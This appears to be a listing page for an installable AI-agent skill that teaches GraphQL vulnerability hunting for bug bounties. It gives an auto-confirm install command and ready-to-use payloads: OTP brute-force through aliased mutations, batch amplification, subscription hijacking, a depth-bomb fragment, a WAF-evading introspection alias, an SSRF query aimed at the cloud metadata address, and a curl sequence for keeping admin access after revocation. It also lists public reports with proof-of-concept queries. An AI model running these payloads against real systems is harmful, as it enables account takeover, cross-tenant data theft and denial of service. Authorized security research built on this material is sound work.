Loading
Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching
The skill file stays in the publisher's repository.
Paste the copied command in a terminal. It installs this SKILL.md into that agent.
npx skills add elementalsouls/Claude-BugHunter --skill hunt-graphql -a cursor -y
Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.
Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.
GraphQL vulnerabilities are high-value because the attack surface is both broad and deep — a single endpoint can expose entire data models, privilege escalation paths, and cross-API state confusion. Highest payouts occur in:
The GitHub reports demonstrate the crown jewel pattern: privilege that should be revoked persists because two APIs disagree on ground truth.
URL Patterns:
/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql
Response Headers:
Content-Type: application/json (with query body)
X-Request-Id + no REST-style path params = likely GraphQL
JavaScript Source Patterns:
// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"
Tech Stack Signals:
graphene or strawberry (Python), graphql-ruby, gqlgen (Go), Lighthouse (Laravel){"query": "..."} body shape in Burp history__schema or __type in any response = confirmed GraphQLRecon Sources:
github.com search: "graphql" site:target.com/graphql pathsLinkFinder or getallurlsDiscover the endpoint — spider JS bundles, check /graphql, /api/graphql, review Burp passive scan hits for application/json POST with query fields
Test introspection — send the full introspection query. Even if blocked, try field-level enumeration:
{ __typename }
If that returns, introspection may be partially blocked but the schema is discoverable
Map the full schema — use InQL (Burp extension) or graphql-voyager to visualize relationships. Specifically look for:
Identify REST/GraphQL overlap — document every resource that can be modified via BOTH REST and GraphQL. These dual-write surfaces are your RC targets.
Test authorization boundaries per mutation — replay mutations as lower-privilege users. Does the server enforce the same authz as the equivalent REST call?
Hunt cross-API state desync — find sequences where:
Test for persistent privilege after role/membership changes — remove a user via REST, then call the corresponding GraphQL mutation for that resource. Query current state via both APIs and compare.
Probe for IDOR in node IDs — GraphQL global IDs often encode object type + ID. Swap IDs across object boundaries and across account contexts.
Check batch query abuse — send arrays of operations to bypass rate limiting or amplify enumeration.
Document the exact reproduction chain — for RC bugs, time-based steps must be reproducible deterministically.
Full Introspection Query:
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
Minimal Introspection Probe (bypass attempt):
{ __typename }
curl introspection test:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .
Field suggestion probe (bypass blind introspection blocks):
{ unknownField }
If response returns "Did you mean: [realFieldName]?" — schema is enumerable despite introspection being disabled.
Batch query amplification:
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]
Subscription hijacking (cross-user channel access):
subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }
If subscriptions lack per-user scoping, an attacker can receive real-time events from another user's channel or conversation.
Multi-code OTP/2FA brute-force via alias batching:
mutation {
v1: verifyOtp(code:"000001"){token}
v2: verifyOtp(code:"000002"){token}
v3: verifyOtp(code:"000003"){token}
}
A single GraphQL request aliases the same mutation with different OTP codes. Combined with parallel HTTP, this defeats per-request rate limiting and compresses brute-force attempts into fewer network round-trips.
RC desync test pattern (pseudo-sequence):
# Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN" \
-d '{"permission":"admin"}'
# Step 2: Revoke via REST
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN"
# Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql \
-H "Authorization: bearer ATTACKER_TOKEN" \
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'
# Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams \
-H "Authorization: token ADMIN_TOKEN"
Grep for GraphQL in JS bundles:
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js
GraphQL introspection & audit tooling:
# InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries
# Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json
# GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql
Dual-write without atomic locking — developers implement the same resource modification in both REST and GraphQL independently. Neither system is aware the other exists for that resource. State updates aren't serialized or compared.
Inconsistent authorization middleware — REST endpoints go through one auth layer (e.g., middleware chain), GraphQL resolvers go through a different resolver-level check. The same action, different enforcement.
GraphQL as "new REST" migration — teams add GraphQL mutations that mirror REST functionality without auditing the permission model. The GraphQL version is less mature and skips checks the REST version accumulated over time.
Introspection left on in production — default framework settings (Apollo, Graphene) enable introspection in all environments. Developers forget to disable it, treating it as "just documentation."
Node ID trust without re-authorization — GraphQL global IDs (base64("ObjectType:123")) are decoded and trusted without verifying the requesting user has access to that specific object.
Mutation side effects not mirrored — when a REST action triggers cascading effects (e.g., team removal cascades to permission revocation), the GraphQL equivalent mutation doesn't trigger the same cascades.
Defense: Introspection disabled
clairvoyance to brute-force field names against a wordlistDefense: Depth limiting
fragment F on User { repos { teams { members { ...F } } } }
Defense: Rate limiting per IP
Defense: Auth checks on mutations
Defense: WAF blocking __schema
{ s: __schema { t: types { n: name } } }
Defense: Operation whitelisting (persisted queries)
extensions.persistedQuery hash mismatchesA common claim is "alias batching defeats per-user rate limits and double-spend protections." Whether this actually wins depends on the resolver execution model:
| Resolver type | Behavior on aliased mutations | Alias batching wins races? |
|---|---|---|
Multi-threaded / DataLoader-batched async | Aliases run concurrently, share state via batch | YES — single HTTP request can amplify a race-target N times |
| Single-threaded / single-DB-connection per request | Aliases run serially; first mutation closes the door | NO — combine with parallel HTTP |
| Distributed gateway (Apollo Federation) | Sub-queries dispatched concurrently to subgraphs | Depends on each subgraph |
Verification example (single-threaded Flask + SQLite resolver):
redeemCoupon mutations in one request → only r1 succeeds, r2-r10 fail with already_redeemed. Alias batching alone is insufficient.Operator rule: treat alias batching as a single-RTT recon primitive. For race-target exploitation, combine with hunt-race-condition's parallel-HTTP / Turbo Intruder single-packet attack. Verified in docs/verification/phase2e-jwt-graphql-race.md Test 11 vs Test 12.
What can the attacker DO right now? Must be a concrete action: access data they shouldn't see, retain privileges after revocation, modify another user's resources. "The schema is visible" alone is not enough — what does the schema unlock?
What does the victim LOSE? Must be a real asset: data confidentiality, access control integrity, org security guarantees. For the RC pattern: an org admin loses the guarantee that removing a team revokes all access. That's a security contract violation.
Can it be reproduced in 10 minutes from scratch? For RC/desync bugs: write the exact curl sequence. Run it twice. If the privilege persists deterministically (not timing-dependent flakiness), it's reportable. If it requires millisecond timing luck, document the window and test on low-load times.
Scenario A — Covert Persistent Admin After Team Removal (GitHub-pattern)
An attacker who legitimately had admin access to a repository via team membership gets removed by the org admin through the REST API. The attacker, before removal completes, calls the updateTeamsRepository GraphQL mutation to re-associate their team with admin permissions. The REST removal and GraphQL re-grant create a desync where the UI shows the team as removed, but the GraphQL state preserves admin-level access. The attacker retains covert write access to the repository indefinitely — pushing code, reading secrets in CI/CD — without appearing in the team's member list. This persists through org audits.
Scenario B — Covert Access via Repo Transfer Race (GitHub-pattern)
An attacker with admin access initiates a repository transfer to another organization via the REST API. During or after the transfer, they invoke updateTeamsRepository on the now-transferred repo's ID. Because the GraphQL mutation doesn't validate current org ownership state consistently with the REST transfer event, the original attacker's team retains admin access on a repo now owned by a different organization. The receiving org has no visibility into this team association. The attacker can exfiltrate intellectual property from an org they have no legitimate relationship with.
Scenario C — Introspection as Reconnaissance Prerequisite (Shopify-pattern)
On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for fulfillmentOrderMove and inventoryAdjust that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the introspection itself is zero-severity, but it is the entry point to critical findings.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 3 internal references. Each is a distinct GraphQL subclass with a working PoC documented in the cited writeup.
HackerOne — Confidential user-data exposure via GraphQL User type (H1 #489146)
user(id:...) query returning email, backup_codes_hash, facebook_user_id, account_recovery_phone_number_verified_at, totp_enabledUser type with no field-level authz; any authenticated user could enumerate PII of all usersHackerOne — DestroyLlmConversation mutation IDOR (Copilot pre-release) (H1 #2218334)
mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }Shopify — BillingDocumentDownload cross-tenant IDOR (H1 #2207248)
query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }BillingInvoice resolver authorized the requester's shop but did not verify the invoice belonged to that shopShopify — Rate-limit bypass via negative cost (H1 #481518)
query { products(first:-100) { … } } — negative first produced a negative query-cost contribution, refilling the leaky-bucket each callStripe — Cross-tenant IDOR via UpdateAtlasApplicationPerson (H1 #1066203)
mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } — adding/modifying a co-founder on another merchant's Stripe Atlas applicationEXNESS — SSRF in GraphQL allTicks query (H1 #1864188)
query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } } — source arg fed into a server-side HTTP clientEXNESS — GraphQL attribute-batching DoS (H1 #2293642)
/graphqlGitLab — Malicious-runner attach via runnerUpdate (CVE-2023-2478) (Advisory)
mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }runnerUpdate did not check that the caller had Maintainer on the target project — any user could bind their malicious runner and intercept CI jobs (build secrets, code execution)AS Watson — Auth bypass via unrestricted createAdminUser mutation (HackerOne blog)
mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } invoked unauthenticated after schema enumeration via introspectioncreateAdminUser exposed to public rolehunt-idor — GraphQL node(id:) and global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (node() resolver) → cross-tenant data via base64-decoded type:id replay.hunt-api-misconfig — GraphQL mutations are mass-assignment magnets: clients send full input objects, server merges. Chain primitive: GraphQL mutation + extra fields (isAdmin:true, verified:true) → mass assignment → role escalation.hunt-business-logic — GraphQL aliases let you call the same mutation N times in one request, defeating per-request rate limits. Chain primitive: aliased mutation + business-logic flaw → coupon redeemed N times in single network round-trip.hunt-race-condition — GraphQL batching collapses N mutations into one HTTP packet — perfect single-packet race vehicle. Chain primitive: GraphQL batch + race → atomic-update missing → double-spend balance.security-arsenal — Load the GraphQL Payload Pack: introspection query, schema-suggestion error probe, alias amplification template, depth-bomb DoS payload, batch-attack template.triage-validation — Apply the Body-Diff Rule: introspection alone is informational; require a concrete cross-tenant read or mutation-with-impact PoC before submitting.